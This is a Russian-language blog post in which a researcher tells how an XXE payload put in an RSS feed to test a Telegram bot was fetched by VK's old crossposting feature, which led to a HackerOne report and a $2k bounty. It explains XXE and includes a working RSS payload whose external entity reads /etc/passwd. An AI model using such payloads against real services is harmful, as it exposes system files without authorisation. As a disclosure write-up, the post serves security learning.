Привет!
Возможно, ты уже видел странную запись в твиттере
Оригинал записи тут.
Уязвимость не очень интересная (классика), статья — скучная, но по просьбам решил написать, как так вышло.
Когда-то, я добавил возможность в группу кросспостить прямиком из rss блога. Делалось это через поддержку, как-то так:
После чего в группе появлялась строка, где можно было ввести url с твоей rss лентой
Но почему-то в том году, когда я подключил данную функцию, она у меня не заработала. То-ли потому что накосячил с url, то-ли потому что пересел на feedburner. В общем забыл я о ней, а в настройки группы вовсе и не заходил.
Шло время…
В моду вошёл telegram и часть контента я получаю именно там, с помощью ботов. Появился бот, в которого можно добавлять свои источники, в том числе rss. А так как RSS — это XML, решил я протестировать там атаку XXE.
Если не знаешь, что такое XXE.
Смотри. XML состоит из тегов, грубо:
<?xml version="1.0"?>
<имя>Вася</имя>
<фамилия>Пупкин</фамилия>
Но так же поддерживаются внешние сущности — грубо говоря, когда содержимое тега можно наполнить содержимым из файла. Выглядит это как-то так:
<?xml version="1.0"?>
<!DOCTYPE имя [ <!ENTITY файл SYSTEM "file:///etc/passwd" >]>
<имя>&файл;</имя>
<фамилия>Пупкин</фамилия>
Если ты нифига не понял — перечитай ещё три раза.
Сижу, никого не трогаю (пытаюсь сломать бота) запилил подобный вектор:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE description [ <!ELEMENT description ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Hackers attack</title>
<link>http://bo0om.ru/</link>
<description>Bo0oM</description>
<lastBuildDate>Mon, 03 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>cat /etc/passwd</title>
<link>https://bo0om.ru/</link>
<description>&xxe;</description>
<author>Bo0oM</author>
<pubDate>Mon, 02 Feb 2016 20:15:55 -0000</pubDate>
</item>
</channel>
</rss>
Положил в rss.xml, меняю вектора, играюсь.
И тут мне приходит сообщение от @sergeybelove:
Вот это поворот!
Потом написал @cyberpunkych, @MERR0N и другие ребята. В это время я уже прочитал интересные файлы и отправил репорт на hackeone. Оказывается, vk подтянул rss.xml с атакой с помощью давно забытого (мной) функционала, который оказался к этой атаке уязвим.
Красавец!
Сколько вк заплатила за данный бг интересно?)
2k $ заплатили